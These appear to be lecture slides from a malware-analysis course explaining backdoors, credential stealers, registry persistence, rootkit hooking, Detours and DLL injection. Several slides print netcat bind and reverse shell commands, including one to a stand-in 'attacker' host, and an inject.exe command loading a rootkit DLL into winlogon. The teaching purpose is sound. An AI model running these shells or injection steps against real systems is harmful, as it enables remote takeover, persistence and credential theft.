840 likes | 1.05k Views
Part 4: Malware Functionality. Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network Signatures. Chapter 11: Malware Behavior. Common functionality. 1. Downloaders 2. Backdoors 3. Credential stealers
E N D
Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network Signatures
Common functionality 1. Downloaders 2. Backdoors 3. Credential stealers 4. Persistence mechanisms 5. Privilege escalation 6. Covering tracks (rootkits)
1. Downloaders Retrieve additional pieces of malware from network to execute • Often packaged with an exploit • In Windows, API call URLDownloadtoFileA used to download • Followed by call WinExec to execute
2. Backdoor Malware that provides attacker with remote access to victim machine • Most common type of malware • Commonly use outgoing port 80 (HTTP) to blend in with other traffic • Commonly implement reverse shells • Allow attacker to execute commands as if they were on local system • Examples: netcat, cmd.exe, remote administration tools
netcat On computer 1, execute program “echo hello” and redirect output to local netcat server on 8888 Connect to computer 1 at 8888 and redirect output to file foo.txt victim$ echo hello | nc –l –p 8888 attacker$ nc victim 8888 >foo.txt attacker$ cat foo.txt hello
netcat Backdoor shell listener Connecting to shell victim$ nc –l –p 8888 –e /bin/sh attacker$ nc comp1 8888
Connection Attempt Attacker Victim Getting past firewalls and NAT Firewall Or NAT X nc victim 8888 nc –l –p 8888 –e /bin/sh
Attacker Victim netcat Bypass firewalls and NAT by “shoveling a shell” Make attacker run listener Victim initiates outgoing connection (e.g. IRC, HTTP) attacker$ nc -l -p 8888 victim$ nc attacker 8888 -e /bin/sh Firewall Connection shovel nc –l –p 8888 nc attacker 8888 –e /bin/sh
Windows reverse shells cmd.exe equivalent to netcat • CreateProcess • Create a socket and connect it to server • Tie stdin, stdout, and stderr of process to socket • Multithreaded version can use CreateThread and CreatePipe
Remote administration tools Similar to botnet command and control • Victim beacons outside controller to receive instructions • Example: Poison Ivy
3. Credential Stealers 3 main types • Programs that monitor user logins • Programs that dump credentials stored in Windows (e.g. password hashes) that can be attacked off-line • Programs that log keystrokes
Monitoring User Login Graphical Identification aNd Authentication (GINA) for Windows Login • Winlogon process started • Winlogon invokes GINA library code (msgina.dll) • GINA requests credentials
Example: GINA interception FakeGINA sits between Winlogon and msgina.dll (Figure 11-2) • Exploits mechanism intended to allow other means of authentication • Configured to run by setting a Windows registry key • HKLM\SOFTWARE\...\Winlogon\GinaDLL set to fsgina.dll Winlogon process • winlogon executes • fakegina.dll requests credentials • fakegina.dll passes credentials to msgina.dll • Logout hooked to store credentials (Listing 11-1)
Dumping credentials Password storage • Typically, only hashes of passwords stored • Users with forgotten passwords issued new ones • Hash function well-known • Dumping hashes allows dictionary attacks since users with weak passowrds subject to brute-force dictionary attacks off-line Windows hashes • Security Account Manager (SAM) • Local Security Authority Subsystem Service (LSASS)
Example: lsass dumping Pwdump, Pass-the-Hash (PSH) toolkits • Pwdump performs DLL injection on lsass.exe (Local Security Authority Subsystem Service) • Injects lsaext.dll • Uses GetHash call to extract hashes • Can be easily changed to avoid signatures • Listing 11-2 “GrabHash” variant
Logging keystrokes Records keystrokes so attacker can observe typed data Kernel-based keyloggers • Built into keyboard drivers User-space keyloggers • Use Windows API to hook I/O functions (SetWindowsHookEx) or poll for state of keys (GetForegroundWindow and GetAsyncKeyState) • Example polling keylogger: Listing 11-4
4. Persistence Mechanisms Methods to ensure survival of malware on a system • Windows Registry persistence • Trojaning • DLL load-order hijacking
Windows registry persistence Common key malware targets • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run + dozens more • AppInit_DLLs • Loaded into every process that loads User32.dll • Stored in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows • Space delimited string of DLLs
Windows registry persistence Common key malware targets • Winlogon • Hooking logged events (logon, logoff, startup, shutdown, lock screen) • \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ • When winlogon.exe generates an event, Windows checks the Notify registry key above for a DLL that will handle it • SvcHost DLLs • All services persist via registry • svchost.exe – generic host process for services that run from DLLs • \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost • \HKLM\System\CurrentControlSet\Services\ServiceName
Trojaning Malware patches binary or library to add its functionality • Example: Nimda, Bliss • Append code in existing section or in new section • Change entry point to point to virus code • Virus returns to target program after execution
Trojaning using the ELF header typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr; interesting! “This member gives the virtual address to which the system first transfers control, thus starting the process” We can change this to point elsewhere (not main() )
Trojaning DLLs DllEntryPoint function tampering • Table 11-1 • pusha to save all registers in one instruction • Look for popa to see return back to legitimate code • Listing 11-5
Trojaning DLLs DLL load-order hijacking • DLL search path in Windows • Directory from which application was loaded • Current directory • System directory (GetSystemDirectory function) • 16-bit system directory • Windows directory (GetWindowsDirectory function) • Directories in PATH environment variable • Rename malicious library and place high in path
5. Privilege escalation Most users run as local administrators Malware uses privilege escalation for those that don't • Exploit vulnerable code to obtain administrator privileges • Many malware frameworks include such exploits (e.g. http://www.metasploit.com/) • Access to restricted calls such as TerminateProcess and CreateRemoteThread
Using SeDebugPrivilege Modify security token of a process using AdjustTokenPrivileges to obtain Initially used as a tool for system-level debugging • Add SeDebugPrivilege to process (Listing 11-6)
6. Covering tracks – rootkits Hide malicious activity • Make malicious files, processes, network connections, and other resources invisible • Most rootkits are kernel-mode to run at the same level as anti-virus/anti-malware
Function hooking Mechanism used to redirect function calls to injected attack code • Replaces legitimate function with alternative one Two general methods • Function table hooking • Run-time data structures that contain function pointers that are invoked during program execution • Hot patching function invocation (inline hooking) • Modify JMP/CALL targets • Modify function prologues to add detour to trampoline
IAT hooking Import Address Table (IAT) used to call functions in libraries Application code push <call parms> call [imp_InternetConnect] … InternetConnect() push ebp lea ebp, [esp+var_5 8] sub esp, 29Ch … … Import Address Table jmp InternetConnect jmp InternetAutodial jmp InternetErrorDlg …
IAT hooking Modify IAT to hijack a DLL call • Makes a hack ‘portable’ to other applications • Load rootkit hook function into memory • Replace target function’s address in the IAT with address of hook function • Figure 11-4 Application code push <call parms> call [imp_InternetConnect] … InternetConnect() push ebp lea ebp, [esp+var_5 8] sub esp, 29Ch … … Import Address Table jmp InternetConnect jmp InternetAutodial jmp InternetErrorDlg … x Rootkit Code
IAT hooking Method • Locate import section from IAT • Find IMAGE_IMPORT_DESCRIPTOR chunk of DLL that exports that function • Locate IMAGE_THUNK_DATA which holds original address of imported function • Replace address in IAT to point to your function and have your function eventually call the original Detection problems • Legitimate hooking common • Methods such as DLL forwarding makes benign vs. malicious hooks hard to discern • Late binding • Applications do late-demand binding where function addresses are not resolved until called • Reduces amount of memory used • But, won’t know what the legitimate values should be!
Example library hooks Processes rely on APIs provided by above • DLLs loaded at runtime into process address space • Kernel32.dll, User32.dll, Gui32.dll, Advapi.dll • Kernel32 loaded into private address space between 0x00010000 and 0x7FFE0000 • Example: Hiding files in a directory • Replace FindFirstFile(), FindNextFile() in Kernel32 to skip rootkit files Other DLLs • DirectX/OpenGL APIs and time functions • Typically hooked to implement cheating in on-line games • Winsock API • Hooked to monitor network traffic
Example library hook Hook keyboard/DirectInput APIs to obtain keyboard/mouse events • GetKeyboardState(), GetKeyState(), GetDeviceState(), etc. SHORT WINAPI FakeGetAsyncKeyState(int vKey) { SHORT nResult = 0; if (g_bNeedMP) { if (vKey == VK_M) { nResult |= 0x8000; //’M’ pressed g_bNeedMP = FALSE; } } else nResult = RealGetAsyncKeyState(vKey); //... return nResult; }
Detours Library developed by Microsoft in 1999 • Instrument and extend existing OS and application functionality simply • G. Hunt, D. Brubacker, “Detours: Binary Interception of Win32 Functions”, 3rd USENIX Windows NT Symposium, July 1999. • A programmer-friendly “feature” of Windows to easily patch functions • Call hooks modify tables and can be detected by anti-virus/anti-rootkit technology • Detours modify function in-line • Malware uses to extend application with malicious functions • Commonly used to add malicious DLLs into existing binaries on disk • Adds a new .detour section into PE structure and modifies import address table using setdll tool in Detours library • Targets include authentication check, DRM checks, anti-virus code, file system scans
Detour mechanism Detour and Trampoline Redirect function calls inline • Save initial instructions of function at the entry point • Original bytes of function saved in trampoline • Inject code (detour) to redirect execution to interceptor function (trampoline) • Insert jump instruction into function directly • Trampoline • Implements 5 replaced bytes of original function • Implements the function you want to execute • jmps back to original target function plus 5
Detour details Replace function preamble with a 5-byte unconditional jmp • Implement replaced instructions in trampoline code • Before XP • 55 push ebp • 8bec mov ebp, esp • Hard to hook since you must disassemble user code • After XP • 8bff mov edi, edi • 55 push ebp • 8bec mov ebp, esp • Easy to hook, exactly 5 bytes • MSFT intentionally did this to make hot patches easy More powerful than IAT hooking • Do not have problems with binding time • No matter how the function is called, your code will run • Functions appearing in multiple tables are handled in one step • Can be used for both kernel and user functions
Detours Overwriting important code • Must know which OS is being used • Must also ensure no one else has tampered or patched the function already • Must save the instructions being removed by detour • Patching addresses • Relative FAR JMP instruction target calculated at run-time • Need to patch this with desired offset at run-time FAR JMP Rest of original function Rootkit code Removed instructions FAR JMP
Detour example Modify ZwDeviceIoControlFile to hide ports • Listing 11-7: Get pointer to code location of function to insert hook into eax • Table 11-2: Define “hook byte” template (detour) • Copy address of hooking function into template (memcpy) • Listing 11-8: Call to install hook bytes into ZwDeviceIoControlFile call • Hook bytes can be installed deep into function to avoid detection
Rootkit functions Disable or modify anti-virus process Disable software updates Disable periodic “rehooking” code Modify network operations and services Modify boot loader • Have boot loader apply patches to kernel before loading Modify on-disk kernel • Modify boot loader to allow new kernel to pass integrity check Registering as a driver or boot service • Load on boot via run key in registry • Must hide key from anti-virus after being loaded
In-class exercise • Lab 11-1 • Use strings to identify potential target of malware • Generate Figure 11-1L (Show TGAD section) • Show Resource Hacker extracting TGAD • In IDA Pro, show the routine that performs the extraction • Generate Listing 11-2L in the extracted DLL • Show Listing 11-3L and explain why a jmp is used • Show Listing 11-4L and explain why a call is used • Show Listing 11-5L and explain the purpose of msutil32.sys
Covert Launching Methods Launchers Process Injection Process Replacement Hook Injection Detours APC Injection
1. Launchers Malware that sets itself up for immediate or future covert execution • Often contain malware that is to be executed in a resource section • See previous Lab 11-01 • Uses FindResource, LoadResource, and SizeofResource API calls to extract
2. Process Injection Inject code into another running process • Bypasses host-based firewalls and process-specific security mechanisms • Force process to call VirtualAllocEx, then WriteProcessMemory to inject code • Two injection types: DLL injection, direct injection
DLL injection Force remote process to load a malicious DLL • Most common covert loading technique • Remotely inject code into process that calls LoadLibrary • OS automatically executes DllMain of newly loaded libraries • All actions appear to originate from compromised process • Figure 12-1
DLL injection Method #1 • CreateToolhelp32Snapshot, Process32First, Process32Next API calls to search the process list for victim process • Get PID of victim and use OpenProcess to obtain handle • Allocate space for name of malicious DLL in victim process • VirtualAllocEx allocates space in remote process if handle provided • Call WriteProcessMemory to write string into victim process where VirtualAllocEx obtained space • Call CreateRemoteThread to start a new thread in victim • lpStartAddress : starting address of thread (set to address of LoadLibrary) • lpParameter : argument for thread (point to above memory that stores name of malicious DLL • Listing 12-1, Figure 12-2 J. Richter, “Load Your 32-bit DLL into Another Process’s Address Space Using INJLIB”, Microsoft Systems Journal/9 No. 5
DLL injection Method #2 • Allocate space in the victim process for code to inject DLL • Write DLL injection code into the memory space of the victim • Create or hijack a thread in the victim to run/load the DLL • Clean up tracks Preserving original functionality • Still need original functions to work correctly • Injected DLL often set up to call original DLL to support desired functionality • Interposed between application and real DLL Example tool • Inject.exe (Aphex) • C:\> inject.exe winlogon “myrootkit.dll”
DLL injection Method #2 using Windows Debug API Attacker must have Debug programs rights on system Get debugger attached to process and run • Break when you want to inject • Obtain code to inject/load a DLL into memory space • Analyze PE header to find a usable, writable part of memory for code • ReadProcessMemory to save what is there • WriteProcessMemory to write injection code • Include INT 3 at end of injection code for debugger to stop • Set EIP to start of code to inject a DLL and continue • Breaks when DLL loaded, restore original state of memory (i.e. remove code to inject DLL) Even easier with a code cave (no need to save memory) to process and run
Code cave example Code cave Communications Technology Lab